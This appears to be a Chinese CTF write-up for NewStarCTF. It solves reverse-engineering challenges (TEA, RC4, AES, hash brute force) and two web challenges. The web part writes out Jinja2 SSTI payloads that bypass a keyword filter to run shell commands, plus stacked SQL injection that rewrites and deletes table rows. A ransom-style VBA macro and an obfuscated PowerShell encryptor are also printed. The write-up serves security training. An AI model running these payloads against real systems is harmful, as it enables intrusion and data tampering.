[0xC4, 0xC8, 0xEE, 0xE6, 0xF7, 0xC5, 0x33, 0x7D, 0x5A, 0x59,
0xCE, 0x77, 0x18, 0x66, 0xD1, 0x55, 0x1F, 0xCB, 0xF3, 0xFF,
0xE0, 0xBF, 0x5F, 0x0C, 0x79, 0xFB, 0x81, 0xBA, 0xCF, 0x21,
0xC3, 0x90],
[0x99, 0x6B, 0x23, 0x5B, 0xD8, 0x46, 0x84, 0xFC, 0x11, 0x96,
0x87, 0x78, 0x79, 0x49, 0x28, 0x00, 0xF4, 0xEE, 0xDE, 0x52,
0xD5, 0xBC, 0x78, 0x05, 0x68, 0x1A, 0xEE, 0xE9, 0xB4, 0x62,
0x40, 0x3B],
[0x66, 0xAA, 0x34, 0xC8, 0xA1, 0xC3, 0xE1, 0xF3, 0xD4, 0xBB,
0xC8, 0x79, 0x8A, 0x7C, 0x97, 0x2F, 0xE5, 0xE5, 0xB9, 0x99,
0x22, 0x29, 0x41, 0x4E, 0x3B, 0x05, 0xA7, 0x14, 0x29, 0x8F,
0xCD, 0xE6],
[0x43, 0x5D, 0x09, 0xA5, 0xBA, 0xD4, 0xAA, 0xBA, 0x7B, 0xE0,
0xF9, 0x7A, 0x7B, 0x87, 0xC6, 0xDA, 0xBA, 0xF0, 0xDC, 0xA4,
0x67, 0xA6, 0xCA, 0x77, 0x42, 0xCC, 0x9C, 0x63, 0x56, 0x78,
0x8A, 0x61], # z
[0xF8, 0x94, 0xBA, 0xCA, 0xDB, 0xE1, 0x6F, 0x41, 0x06, 0x5D,
0x4A, 0x7B, 0x8C, 0x72, 0x0D, 0xC1, 0x7B, 0x0F, 0xEF, 0x53,
0x74, 0x43, 0x73, 0x80, 0x65, 0x4F, 0x85, 0xF6, 0x1B, 0x15,
0x5F, 0xE4],
[0xDA, 0x66, 0x30, 0x9C, 0x55, 0x5F, 0xAD, 0xD7, 0x90, 0x3F,
0x24, 0x7D, 0xCE, 0x98, 0x23, 0x0B, 0x61, 0xF9, 0xE5, 0x4D,
0xE6, 0xCD, 0x45, 0xB2, 0xA7, 0xB9, 0xCB, 0x20, 0xB5, 0x13,
0xE9, 0xCA],
[0x87, 0x09, 0xA5, 0x29, 0x6E, 0xA0, 0x16, 0x2E, 0xE7, 0x14,
0x55, 0x7E, 0x8F, 0x23, 0x22, 0x36, 0x06, 0x14, 0xC8, 0xB8,
0xDB, 0x1A, 0x9E, 0x4B, 0x2E, 0xA0, 0x60, 0xDF, 0xF2, 0xEC,
0x46, 0x25],
[0x34, 0xB8, 0xFE, 0x96, 0xC7, 0xF5, 0x23, 0xCD, 0x2A, 0xE9,
0x7E, 0x27, 0xA8, 0x76, 0xA1, 0x05, 0xCF, 0xDB, 0xA3, 0x0F,
0xD0, 0x2F, 0x8F, 0xBC, 0x69, 0xEB, 0x11, 0xAA, 0x3F, 0xB1,
0x73, 0x00],
[0x8F, 0x01, 0x3D, 0x01, 0x16, 0x58, 0xCE, 0x66, 0xFF, 0x4C,
0xBD, 0x26, 0x87, 0x8B, 0x9A, 0x4E, 0xEE, 0x2C, 0xF0, 0xC0,
0xD3, 0x32, 0xA6, 0x53, 0xE6, 0x58, 0x78, 0x87, 0x8A, 0xB4,
0x5E, 0x9D],
] for i in range(len(test)):
print(test[i] * 32) flag = [0] * 32
for i in range(len(test)):
for k in range(len(enc)):
if enc[k] == test_[i][k]:
flag[k] = ord(test[i])
for i in range(len(flag)):
print(chr(flag[i]), end='') # flag{umm_I_ an't_calc_1t_@t_all}

flag{umm_I_ an't_calc_1t_@t_all} # 应该是数据问题,检查了一下,缺失字符

猜测 flag{umm_I_can't_calc_1t_@t_all} 正确!!!

【这里应该是patch 数据时,未断点正确造成,数据轻微有误!!!】

funnyOTL

main 函数

#include <stdio.h>
#include <stdlib.h>
#include <time.h> int main() {
srand(int(time(0))&0xF0000000); // 每次运行main程序的时候产生的随机值都一样 for (int i = 0; i < 24; i++) {
printf("%d ", rand() % 24);
}
printf("\n");
return 0;
} // 每次生成序列相同!
// rand()*2%24
//4 6 4 2 6 10 10 18 4 8 18 0 4 10 18 2 18 18 18 16 8 22 22 4 //发现自己的随机序列不对,需要动态调试获得,程序生成的随机序列。 0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4

一些c++ 的语法函数知识。

# ~string(); 析构函数

# std::replace() 函数的语法

    std::replace(
iterator start,
iterator end,
const T& old_value,
const T& new_value);
参数:
iterator start, iterator end- 这些是指向容器中开始和结束位置的迭代器,我们必须在那里运行替换操作。
old_value- 是要搜索并替换为新值的值。
new_value- 要分配的值而不是 old_value。

(173条消息) Reverse_iterator的使用_一休求索的博客-CSDN博客

这是结合动态调试,获得的程序核心加密流程:

for i in range(0, 24, 2):
posCur=i
posLogMe=order[i//2] string_3[0] = enc[posCur]
string_3[1] = enc[posCur + 1] string_4[0] = enc[posLogMe]
string_4[1] = enc[posLogMe + 1] string_3[1] = ~(string_3[1]^posLogMe) &0xff
string_3[0] = string_3[0]^posLogMe&0xff enc[posCur] = string_4[0]
enc[posCur + 1] = string_4[1] enc[posLogMe+1] = string_3[1]
enc[posLogMe] = string_3[0]

对以上分析出的程序流程,做逆处理即可:【这里静态分析也是很明了的】

# -*- coding: UTF-8 -*-

enc = [0x4C, 0xAB, 0x78, 0x49, 0x68, 0x9D, 0x51, 0x79, 0x75, 0x5F,
0x7D, 0xC5, 0x63, 0x52, 0x4C, 0xB4, 0x4F, 0x7B, 0x67, 0x61,
0x6F, 0x6E, 0x6B, 0x5F] print('flag{'+'x'*18+'}') # flag{123456789012345678} order = [0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4] # 动态调试获得 string_3 = [0] * 2
string_4 = [0] * 2 for i in range(22, -2, -2):
posCur=i
posLogMe=order[i//2] string_3[1]= enc[posLogMe + 1]
string_3[0] =enc[posLogMe] string_4[0] = enc[posCur]
string_4[1] = enc[posCur + 1] string_3[1] = (~(string_3[1])&0xff) ^ posLogMe # 这里的处理需要注意
string_3[0] = string_3[0]^posLogMe&0xff enc[posLogMe] = string_4[0]
enc[posLogMe + 1] = string_4[1] enc[posCur+1] = string_3[1]
enc[posCur] = string_3[0] for i in range(len(enc)):
print(chr(enc[i]), end='') # }LTS_wonk_u_w0n_LTO{galf print()
print('}LTS_wonk_u_w0n_LTO{galf'[::-1])

flag{OTL_n0w_u_know_STL}

Web

BabySSTI_One

<body bgcolor=#E1FFFF><br><p><b>
<center>Welcome to NewStarCTF, Dear CTFer
</center></b></p><br><hr><br>
<center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>
?name=<script>alert(1)</script>

出现弹窗!

?name={{2*8}}

Welcome to NewStarCTF, Dear 16

# 命令执行 ls
?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %} Get Out!Hacker!
hint:  Flask SSTI is so easy to bypass waf
# 读源码payload
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
# for i in ['a','1']
{{ i }}
# endfor {% for i in ['a','1'] %}
{{ item }}
{% endfor %} 这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix

app.jinja_env.line_statement_prefix="#"

相关SSTI 模板注入 的资料:

(173条消息) 【SSTI模块注入】SSTI+Flask+Python(下):绕过过滤_黑色地带(崛起)的博客-CSDN博客_ssti模块

(173条消息) Flask SSTI注入学习_目标是技术宅的博客-CSDN博客

(173条消息) Flask-SSTI注入_0xActive的博客-CSDN博客_flask ssti注入

(173条消息) SSTI Bypass 学习 (Python3&jinja2_rdd_null的博客-CSDN博客

显然需要测试 waf 黑名单

?name={{"".__class__}}
Get Out!Hacker! ?name={{''[request.args.t1]}}?t1=__class__
Get Out!Hacker! ?name={{""["__c""lass__"]}}
正常,可以知道关键词被waf ?name={{""["__ba""se__"]}}
正常 ?name={{""["__base__"]}}
Get Out!Hacker! 显然需要把所有 .__key__ 替换为 ["__ba""se__"] ?name={# for c in []["__c""lass__"]["__ba""se__"]["__su""bclasses__"]() #}
正常 ?name=%23 for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() %23 Welcome to NewStarCTF, Dear # for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() # # catch_warnings 被过滤
?name=%23 if c["__na""me__"] == "sgninraw_hctac"[::-1]%23 # 读源码payload
?name=%23 for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() %23
%23 if c["__na""me__"] == "sgninraw_hctac"[::-1]%23
{{ c["__i""nit__"]["__glo""bals__"]["__bui""ltins__"].open('app.py','r').read() }}
%23 endif %23
%23 endfor %23 ?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} 查看所有模块
?name={{[]["__c""lass__"]["__ba""se__"]["__subcl""asses__"]()}} /?name=
{% for c in []["__c""lass__"]["__ba""se__"]["__subcl""asses__"]() %}
{% if c.__name__ == 'ca""tch_warnings' %}
{% for b in c["__in""it__"].__globals__.values() %}
{% if b["__c""lass__"]== {}["__c""lass__"] %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

经过一系列测试,发现waf 好多关键字!最终在舍友提示下,使用hackbar 自带的payload,实现rce

get flag

/?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ls').read()}}

app.py

?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ca""t app.py').read()}}

# 源代码
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|base|init|mro|flag|cat|more|env', name):
t = Template(" /?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ls /').read()}} app
bin
boot
dev
etc
flag_in_here
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var ?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ca""t /fla""g_in_here').read()}}
flag{29170b66-27fa-4863-9b2e-28f0fbd698c1}

flag{29170b66-27fa-4863-9b2e-28f0fbd698c1}

强大的 hackbar

multiSQL

0x01 sql 注入 测试
username=1' or 1=1 #

火华 11 201 212

username=1' order by 5 # 无回显
username=1' order by 4 # 有回显 说明四列 username=-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata 同学你在干嘛 有过滤 借助hacker 上工具,简单测试,发现 select union 等被过滤 username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #
无回显 注释符,大小写,双写关键字都无法绕过 通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #
cmd='-1\' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'

for i in range(len(cmd)):
print('CHAR('+str(ord(cmd[i]))+')+',end='')

对绕过这些关键字,没啥思路。尝试堆叠注入!

0x02 尝试堆叠注入
# 尝试堆叠注入,发现可以
username=1';show databases;# english
information_schema
mysql
performance_schema username=1';show tables;#
score username=1';show columns from score;#

# 修改成绩
username=1';update score set listen=500 where username=火华--+ 发现 update 被waf username=1';CHAR(117)+CHAR(112)+CHAR(100)+CHAR(97)+CHAR(116)+CHAR(101) score set listen=500 where username=火华--+ 无效
update过滤了

(173条消息) 详解MySQL数据库insert和update语句_wgcc的博客-CSDN博客_insert在数据库中是什么意思

发现 ,insert replace等 指令都可替代 update

username=1';insert into score values("火华",200,200,200);#

insert waf

username=1';replace into score values("火华",200,200,200);#
成功执行

但是,第一条数据不符合,需要排序,或者删除!!!

#低分删除即可:
username=1';delete from score where listen=11;# 成功后,查询分数得到flag

get flag

flag{Ju3t_use_mo2e_t2en_0ne_SQL}

Week4

Re

Hash

测试知道是 hash 算法 是 sha1()。直接爆破,得到flag。

#encoding=utf-8

import hashlib
import itertools text=['A2F17ED1C6A8BC31769CDF654DF4B8A937042CB6','0CA8A2EDB0C1D34A432A5A4464E0D6ABD847C831','C359D69F3F08BB920F2C3B51133205533462093E','CC5C3FE6E7356A26A134CFF5633349F597C40A9D','4AC4BB3F27F245BA9178651AA5CDEDCBB2862E2A','A01E33F4DCDB6BA1AE9F34A97CF8F6DEEEDF1A8D','D3AF70912A8C1B22CFDECE071BA36BC4662B58FA','9395EAB195D25B676D7D07075D3838A9AC19DF21','FDB43C5EF76ECDA0C1661D6D199B5BFAC1DB538A','DA8E9997A010BE78B20108CE79FEC1FB9C63D8DC','809DA627F1AD01D65864C376E3179B62D9D74261','8F61EE21AC7579626934E0FFB6A62B3D4A82EEC4','E2A954758FDB61F869998E9788B7B7E48480B832','B8E3349B97532B27AA62B8718B68240179158144'] # print(hashlib.sha1('fla'.encode()).hexdigest()) for i in range(len(text)):
print(len(text[i])) modle = list(itertools.product(
['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','{','}','_','!','@','|'], repeat=3)) i = -1
flag='' for k in range(len(text)):
while True:
i += 1
# print(modle[i])
str = ''.join(modle[i]) if hashlib.sha1(str.encode()).hexdigest() in text[k].lower():
print('correct: ', str)
# input()
flag+=str
break
else:
print('[-]:'+str)
i=-1
print(flag)

flag{Easy_Hash_And_Y0u_Solve_1t_Quickly!!}

Exception

0x01 程序分析

(173条消息) 逆向程序分析:Windows的main(),启动函数分析_CodeBowl的博客-CSDN博客_windows编程的主函数

查看异常处理块!

;   __except(loc_4B18BC) // owned by 4B18A4
mov esp, [ebp+ms_exc.old_esp]
mov eax, [ebp+var_48]
xor eax, 12345678h
mov [ebp+var_48], eax
mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFF # 触发异常后,将[ebp+var_48]^0x12345678

所以可以依据这个,直接生成出delta[] 数组,进行解密。

tmp=0x9E3779B9
while()
delta+=tmp
tmp=tmp^0x12345678&0xffffffff

【也可以动态调试获得,每组delta[]数据值】

0x02 解密

python 解密脚本

# encoding=utf-8

print('flag{'+'x' * 26+'}')

enc = [0xCE, 0x21, 0xE8, 0x88, 0x70, 0x9D, 0x00, 0x0B, 0x8F, 0xE6,
0xB1, 0x91, 0x96, 0xEA, 0x31, 0x01, 0x7D, 0x9D, 0x20, 0xA3,
0xFB, 0x7D, 0x18, 0xA9, 0xCA, 0xC5, 0x52, 0xC4, 0x53, 0x67,
0x69, 0xA9]
enc1 = [0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753] # sum=0
# tmp=0x9E3779B9
# for i in range(32):
# sum+=tmp
# tmp^=0x12345678
# print(hex(sum&0xffffffff),end=',') v9_enc=[0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0] key = [1, 2, 3, 4]
print()
for k in range(0, 8, 2):
v11 = enc1[k]
v10 = enc1[k + 1]
for i in range(32):
v9=v9_enc[31-i]
v10 -= (key[3] + (v11 >> 5)) ^ (v9 + v11) ^ (key[2] + 16 * v11)
v10= v10&0xffffffff
v11 -= (key[1] + (v10 >> 5)) ^ (v9 + v10) ^ (key[0] + 16 * v10)
v11 = v11 & 0xffffffff
enc1[k] = v11
enc1[k + 1] = v10 for i in range(len(enc1)):
print(hex(enc1[i]),end=',')
flag:

0x33433434,0x31463741,0x41443231,0x37454232,0x34463832,0x35433135,0x30443245,0x38353539,

cpp 解密脚本

#include <stdio.h>
#include <stdint.h> uint32_t delta[]={0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0}; //加密函数
void encrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
/* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < round; i++) { /* basic cycle start */
sum = delta[i];
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
/* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<round; i++) { /* basic cycle start */
sum = delta[round-1-i];
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
} /* end cycle */
v[0]=v0; v[1]=v1;
} int main()
{ uint32_t v[] = { 0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753};
uint32_t k[]={1,2,3,4};
int n=sizeof(v)/sizeof(uint32_t);
int round=32; // v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:\n");
for (int i=0;i<8;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
} for (int i=0;i<n/2;i++)
{
decrypt(&v[i*2], k,round);
}
printf("\n解密后的数据:\n");
for (int i=0;i<8;i++)
{
for (int j=0;j<4;j++)
{
printf("%c",((v[i]>>j*8)&0xff)); // 327a6c4304ad5938eaf0efb6cc3e53dc flag{327a6c4304ad5938eaf0efb6cc3e53dc}
}
} for (int i=0;i<n/2;i++)
{
encrypt(&v[i*2], k ,round);
} printf("\n加密后的数据:\n");
for (int i=0;i<8;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
} return 0;
}

flag{44C3A7F112DA2BE728F451C5E2D09558}



HelpMe

0x01 ps1 解析恢复xlsm

根据提示查阅到相关资料

(174条消息) 还原永恒之蓝下载器PS脚本混淆_FFE4的博客-CSDN博客

从ps1中截取下列数据

echo $(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAKxePWMA/31RT2+bMBS/8yksxAHUYCVI66RMm5TQdJq6LFXJdslycPGDeDU2wi9a0LTv3mdos2yHXZDfD//++UWoGnAompa9Z/HuRiBsCdlUlQPcxx8BU4+xsBDINiWy6Yxl0yyjzzzL5tksTBK+tV+NOnleAaU10sVJED1BT5Jf4Ge6efwBxFz2CLs9m10HXvVBGGkblq7FiWVvrllaABYAkl0k+hCZo9ZBZTsWR8pIOJHi9B17OacaSe11vLpK2C/vuhvnPd3dPZLn2OIfv+R3EC1Wxd8Ji94hNJxKHDuFPc+7vkVbd6I99HwBbi2MqEEOTH439POG47y2EggIV/kyHJF7IaUytc/xX+WXe15gP5/f3+XF2yCqlB7koqZvBR6+N32tKuQn7RqS973chfCnDb8lAtEfQMiF1v6xXRwOMiFtY2XKwbLzmX24vAPa6xn2GwNTSoHC3zjjfNsJ42gDza0yQi+1LZ/i0X7CphM2HvlnMDUeLn34jXKtdeCFvd+fkRad5tYgGGTpN6GPwM7WKfHt8Gi+ALX3+Tn9DYNn5mIx06oCAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

得到如下:【显然就是核心加密逻辑了】

$timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
$key = New-Object Byte[] 16
Get-Random -Max 256 -SetSeed $timestamp >$null
for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.Mode = "ECB"
$AES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$file = "$mypath\mygift.xlsm"
$bytes = [System.IO.File]::ReadAllBytes("$file")
$Encryptor = $AES.CreateEncryptor()
$encdata = $Encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$Encryptor.Dispose()
$AES.Dispose()
Set-Content -Value $encdata -Encoding Byte "$file.enc"

如上可以分析知道:

# AES 加密
# key 密钥随机生成
# ECB 模式
# 填充模式 PKCS7 # [byte](Get-Random -Max 256)
# Get-Random 获取一个随机数,或从集合中随机选择对象。 # powershell run
PS F:\> echo ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
1664626941 PS F:\> $timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
PS F:\> $key = New-Object Byte[] 16
PS F:\> Get-Random -Max 256 -SetSeed $timestamp >$null
PS F:\> for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
PS F:\> echo $key
105
192
50
118
175
152
128
155
147
80
183
37
190
22
242
78

Get-Random (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

如上,key=[105,192,50,118,175,152,128,155,147,80,183,37,190,22,242,78]

AES 解密脚本

# encoding=utf-8

from Crypto.Cipher import AES

key = [105, 192, 50, 118, 175, 152, 128, 155, 147, 80, 183, 37, 190, 22, 242, 78]
key_b=bytes(key) with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm.enc", 'rb') as f:
chipher = f.read() # iv = b'\x00' * 8
print(chipher) aes = AES.new(key_b, AES.MODE_ECB) data = aes.decrypt(chipher)
print(data) # with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm",'wb') as f:
# f.write(data)
0x02 Excel 宏处理

获得.xlsm后打开,发现总有弹窗!

Excel如何打开宏,Excel宏在哪里-百度经验 (baidu.com)

找到 excel 宏,发现有东西

Sub hack()

    MsgBox "You have to pay me a lot of money now!"
Dim shell
Dim talk
Set talk = CreateObject("SAPI.SpVoice")
talk.Rate = -3
talk.Volume = 100
talk.Speak "You have to pay me a lot of money now" Dim a, b, x, arr
a = 20
b = 22
x = 21 arr = Array(2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8, 22, 17, 4) Dim i For i = 1 To 32
If Cells(1, i).Value = "*" Then Exit For
Cells(2, arr(i - 1) + 1).Value = Cells(1, i).Value Xor x
x = (a * x + b) Mod 255
Cells(1, i).Value = "*"
Next
talk.Speak "I have hacked you"
Set sh = CreateObject("Wscript.Shell")
sh.Run ("%comspec% /k tree"), 3, True
ActiveWorkbook.Close
alertTime = Now + TimeValue("00:00:30")
Application.OnTime alertTime, "hack" End Sub 62 163 115 241 149 89 216 45 20 138 220 8 75 42 135 93 161 60 115 215 169 66 32 132 141 21 184 95 159 3 121 91
0x03 py解密

对上述流程进行解密:

# encoding=utf-8

a = 20
b = 22
x = 21 arr =[2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8,
22, 17, 4]
enc=[62,163,115,241,149,89,216,45,20,138,220,8,75,42,135,93,161,60,115,215,169,66,32,132,141,21,184,95,159,3,121,91] flag='' for i in range(len(enc)):
flag+=chr(enc[arr[i]]^x)
x = (a * x + b)%255 print(flag)

flag{This_is_@_begin_about@hack}

哈德兔的口

0x01 程序分析

jadx 逆向APK 文件

存在 X86 架构 .so 文件,那么程序是可以动态调试的。

先导出.so 文件进行静态分析

cheak 将输入进行 rc4 加密,然后与密文比较。密钥可以动态调试,decode()获得。

0x02 动态调试 .so文件

/* loaded from: classes.dex */
public class MainActivity extends c {
// rc4 加密 密钥key=Hikari#a0344y3y#19301211 /* renamed from: s */
String f3430s = "|%tJ|%pK~%t;6%}d}s\"K|vt;2)y92a=x"; static {
System.loadLibrary("check");
} public static /* synthetic */ void J(MainActivity mainActivity, EditText editText, View view) {
mainActivity.K(editText, view);
} /* JADX INFO: Access modifiers changed from: private */
public /* synthetic */ void K(EditText editText, View view) {
String obj = editText.getText().toString();
try { // android.util.Base64
Class<?> cls = Class.forName(decode("}s+=4aur{>IA5w&F+v=G4>#F*\"ll")); // android.util.Base64
obj = new String((byte[]) cls.getMethod(decode("+(#G*ad="), byte[].class, Integer.TYPE).invoke(cls, obj.getBytes(StandardCharsets.UTF_8), 0)); // encode
} catch (ClassNotFoundException e2) {
e2.printStackTrace();
} catch (IllegalAccessException e3) {
e = e3;
e.printStackTrace();
} catch (NoSuchMethodException e4) {
e4.printStackTrace();
} catch (InvocationTargetException e5) {
e = e5;
e.printStackTrace();
}
Toast.makeText(this, decode(check(obj, decode(this.f3430s)) ? "x)#;+)yJ3_|l" : "{>#b4b}94rqJ5(hdxvE;+(9;xv'K*('D4rpD+adG4=4l"), 1).show();
} public native boolean check(String str, String str2); public native String decode(String str); /* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.e, androidx.activity.ComponentActivity, u.d, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
final EditText editText = (EditText) findViewById(R.id.et_passwd);
((Button) findViewById(R.id.btn_check)).setOnClickListener(new View.OnClickListener() { // from class: o1.a
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.J(MainActivity.this, editText, view);
}
});
}
}

通过动态调试知道,程序获取输入后。将输入base64编码,然后RC4加密。

这里有个细节,rc4 算法被魔改了两个点

可以看到,rc4加密时,先对数据 xor 0xc6。然后加密完成时,又对结果xor 0x73 然后才得到密文。因为这是RC4 加密算法。那么我们用常规rc4 解密出的数据 xor 0x73 xor 0xc6,就可以得到明文。

【具体原理参见 RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)

# encoding=utf-8

from Crypto.Cipher import ARC4
import binascii
import hashlib
import base64 key = 'Hikari#a0344y3y#19301211' # 动态调试得到
chipher = [0xF0, 0x90, 0x10, 0xB7, 0xD1, 0x6E, 0x1A, 0xBC, 0xFB, 0x56,
0xE6, 0x93, 0x0C, 0xC0, 0xB5, 0x06, 0x4D, 0xBD, 0xF1, 0x9C,
0xD1, 0x9A, 0x3D, 0x03, 0xCB, 0x16, 0x42, 0x9A, 0x4B, 0x22,
0x10, 0x9D, 0xC6, 0x70, 0x65, 0xAA, 0xC0, 0x3E, 0x54, 0x33,
0xF8, 0x42, 0x2A, 0xE0, 0x52, 0x19, 0xB4, 0x6A, 0xA2, 0x97,
0xEE, 0x2A, 0x9D, 0xC2, 0x32, 0xED] cipher_text = bytes(chipher) print(cipher_text)
cipher = ARC4.new(key.encode())
decrypt_text = cipher.decrypt(cipher_text)
# print(decrypt_text)
# decrypt_text = base64.b64decode(decrypt_text)
for i in range(len(decrypt_text)):
print(chr(decrypt_text[i]^0xc6^0x73),end='') # rc4 魔改位置 print()
print(base64.b64decode('ZmxhZ3tRQVFfaG93MmRlY29kZSMjcGxzX3RlQWNoX3RlVmNoX21lISF9')) # cipher = ARC4.new(key.encode())
# plain_text = cipher.encrypt(decrypt_text)
# print(plain_text)

flag{QAQ_how2decode##pls_teAch_teVch_me!!}

mpz

0x01 搜索相关知识
hint:
lumina may be helpful

六角射线 - IDA 光彩 (hex-rays.com)

[原创]IDA lumina C# 服务端实现-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

GitHub - synacktiv/lumina_server: IDA Lumina 功能的本地服务器

查阅到上面感觉有关的链接,可以知道lumina是一种快速库识别和识别的技术。

GitHub - naim94a/lumen: A private Lumina server for IDA Pro

这个可能就是题目说的lumina。但根据文章安装环境配置出错,,,

又尝试 mpz 相关搜索

c语言使用gmp库运算 - 简书 (jianshu.com)

(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客

(174条消息) GMP库使用方法_play maker的博客-CSDN博客_gmp库

